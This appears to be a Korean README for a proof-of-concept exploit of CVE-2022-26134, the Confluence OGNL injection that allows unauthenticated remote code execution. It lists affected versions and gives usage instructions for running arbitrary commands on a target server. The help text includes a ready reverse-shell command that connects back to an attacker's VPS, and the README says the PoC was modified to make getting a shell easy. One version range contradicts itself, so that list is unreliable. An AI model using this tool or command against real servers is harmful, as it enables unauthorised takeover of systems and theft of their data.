CVE-2022-26134

원격 공격자는 인증 없이 OGNL 표현식을 구성하여 주입하고, Confluence Server 또는 Data Center에서 임의의 코드를 실행할 수 있습니다. poc를 수정하여 getshell을 쉽게 합니다. 일반 포트: 8090

영향받는 버전

• Confluence Server and Data Center >= 1.3.0
• 7.14.0 <= Confluence Server and Data Center < 7.4.17
• 7.13.0 <= Confluence Server and Data Center < 7.13.7
• 7.14.0 <= Confluence Server and Data Center < 7.14.3
• 7.15.0 <= Confluence Server and Data Center < 7.15.2
• 7.16.0 <= Confluence Server and Data Center < 7.16.4
• 7.17.0 <= Confluence Server and Data Center < 7.17.4
• 7.18.0 <= Confluence Server and Data Center < 7.18.1

사용 설명

pip3 install requests

	   ______     _______     ____   ___ ____  ____      ____   __   _ _____ _  _   
  / ___\ \   / | ____|   |___ \ / _ |___ \|___ \    |___ \ / /_ / |___ /| || |  
 | |    \ \ / /|  _| _____ __) | | | |__) | __) _____ __) | '_ \| | |_ \| || |_ 
 | |___  \ V / | |__|_____/ __/| |_| / __/ / __|_____/ __/| (_) | |___) |__   _|
  \____|  \_/  |_____|   |_____|\___|_____|_____|   |_____|\___/|_|____/   |_|  
    
usage: CVE-2022-26134.py [-h] -t TARGET -c COMMAND

CVE-2022-26134

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        대상 URL
  -c COMMAND, --command COMMAND
                        명령 실행(execute command), get shell: /bin/bash -c bash -i >& /dev/tcp/{vps ip}/{vps port} 0>&1

사용

python3 CVE-2022-26134.py -t [server ip] -c [command] //명령 실행

이 스크립트는 테스트 목적으로만 사용할 수 있으며 다른 용도로 사용하지 마십시오.